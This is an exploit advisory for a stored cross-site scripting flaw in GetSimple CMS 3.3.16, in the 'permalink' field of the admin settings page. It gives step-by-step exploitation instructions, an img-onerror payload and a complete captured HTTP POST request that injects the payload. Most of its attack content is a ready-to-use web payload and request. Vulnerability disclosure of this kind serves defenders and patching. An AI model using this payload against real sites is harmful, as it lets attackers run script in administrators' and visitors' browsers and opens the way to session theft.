GetSimple CMS 3.3.16 Cross Site Scripting

`# Exploit Title: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)  
# Google Dork: -  
# Date: 2020-09-29  
# Exploit Author: Roel van Beurden  
# Vendor Homepage: http://get-simple.info  
# Software Link: http://get-simple.info/download  
# Version: 3.3.16  
# Tested on: Linux Ubuntu 18.04  
# CVE: N/A  
  
  
1. Description:  
----------------------  
GetSimple CMS 3.3.16 allows in parameter 'permalink' on the Settings page persistent Cross Site Scripting which is executed when you create and open a new page.  
  
  
3. Affected parameter:  
----------------------  
'permalink' on /admin/settings.php  
  
  
3. Exploitation steps:  
----------------------  
1: Create a new page  
2: Go to Settings on the right top of the page  
3: Add XSS payload to "Custom Permalink Structure" text field  
4: Save Settings  
5: Go to the tab 'pages' to trigger the XSS alert popup  
  
  
3: Example payload:  
----------------------  
"><img src=x onerror=alert('XSS')>  
  
  
4: Burp Request:  
----------------------  
POST /GetSimpleCMS-3.3.16/admin/settings.php HTTP/1.1  
  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/GetSimpleCMS-3.3.16/admin/settings.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 349  
Connection: close  
Cookie: __atuvc=22%7C39; __atuvs=5f689d4d88949892015; GS_ADMIN_USERNAME=admin; d46405c5e4a3aa8c65850d4fa6ba75e926569261=1995ba85457ab3e86fa5e01f9ed5267cf9775880  
Upgrade-Insecure-Requests: 1  
  
nonce=c4577f17fac90ca1b8306ce48571c27a0a7923ec&sitename=GetSimple+Test+VM&siteurl=http%3A%2F%2F127.0.0.1%2FGetSimpleCMS-3.3.16%2F&prettyurls=1&permalink=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&user=admin&email=admin%40example.org&name=&timezone=&lang=en_US&show_htmleditor=1&sitepwd=&sitepwd_confirm=&submitted=Save+Settings  
  
  
5: Exploitation demo:  
----------------------  
https://www.youtube.com/watch?v=8IMfD5KGt_U  
`